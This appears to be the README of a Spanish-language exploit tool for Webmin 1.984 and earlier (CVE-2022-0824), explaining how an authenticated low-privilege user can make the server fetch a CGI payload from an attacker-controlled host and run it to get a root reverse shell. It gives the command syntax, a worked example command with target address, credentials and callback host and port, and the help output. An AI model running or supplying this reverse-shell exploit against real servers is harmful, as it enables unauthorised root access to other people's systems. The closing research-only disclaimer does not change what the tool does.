
Exploit de shell inversa posterior a la autenticación para Webmin <=1.984 que aprovecha la escalada de privilegios del Administrador de archivos (CVE-2022-0824). Descarga y ejecuta un payload CGI para obtener acceso root.
Webmin 1.984 y anteriores - Exploit de privilegios del Administrador de Archivos (CVE-2022-0824 y CVE-2022-0829)
Usuarios de Webmin con menos privilegios que no tengan restricciones configuradas en el módulo del Administrador de Archivos pueden acceder a archivos con privilegios de root, si usan el tema Authentic predeterminado. Todos los sistemas con usuarios adicionales de Webmin no confiables deben actualizarse inmediatamente. Tenga en cuenta que los sistemas Virtualmin no se ven afectados por este error, debido a la forma en que están configurados los usuarios de Webmin propietarios del dominio.
Fuente: https://www.webmin.com/security.html
Este exploit aprovecha la vulnerabilidad de Control de Acceso Inadecuado posterior a la autenticación en el Administrador de Archivos. Este exploit podría ser realizado por cualquier atacante autenticado con menos privilegios. Descargará un archivo .cgi de forma remota desde un servidor controlado por el atacante y modificará sus permisos para que sea un archivo ejecutable por todos. Una vez hecho esto, ejecutará el archivo .cgi para establecer una conexión inversa al servidor controlado por el atacante con privilegios de root.
Referencia: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
$~ python3 Webmin-revshell.py -t [TARGET] -c [CREDENTIAL] -LS [PY3HTTP_SERVER] -L [CALLBACK_IP] -P [CALLBACK_PORT]
$~ python3 Webmin-revshell.py -t https://192.168.5.118:10000 -c user:user123 -LS 192.168.5.120:9090 -L 192.168.5.120 -P 4444
$~ python3 Webmin-revshell.py -h
usage: Webmin-revshell.py [-h] -t TARGET -c CREDENTIAL -LS PY3HTTP_SERVER -L CALLBACK_IP -P CALLBACK_PORT [-V]
Webmin CVE-2022-0824 Reverse Shell
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target full URL, https://www.webmin.local:10000
-c CREDENTIAL, --credential CREDENTIAL
Format, user:user123
-LS PY3HTTP_SERVER, --py3http_server PY3HTTP_SERVER
Http server for serving payload, ex 192.168.5.120:8080
-L CALLBACK_IP, --callback_ip CALLBACK_IP
Callback IP to receive revshell
-P CALLBACK_PORT, --callback_port CALLBACK_PORT
Callback port to receive revshell
-V, --version show program's version number and exit
target host: https://192.168.5.118:10000
attacker host: 192.168.5.120
- Webmin 1.984
- Ubuntu 18.04
- Kali 2021.3
El script es solo para análisis de seguridad e investigación, por lo tanto, no seré responsable si se utiliza para actividades ilícitas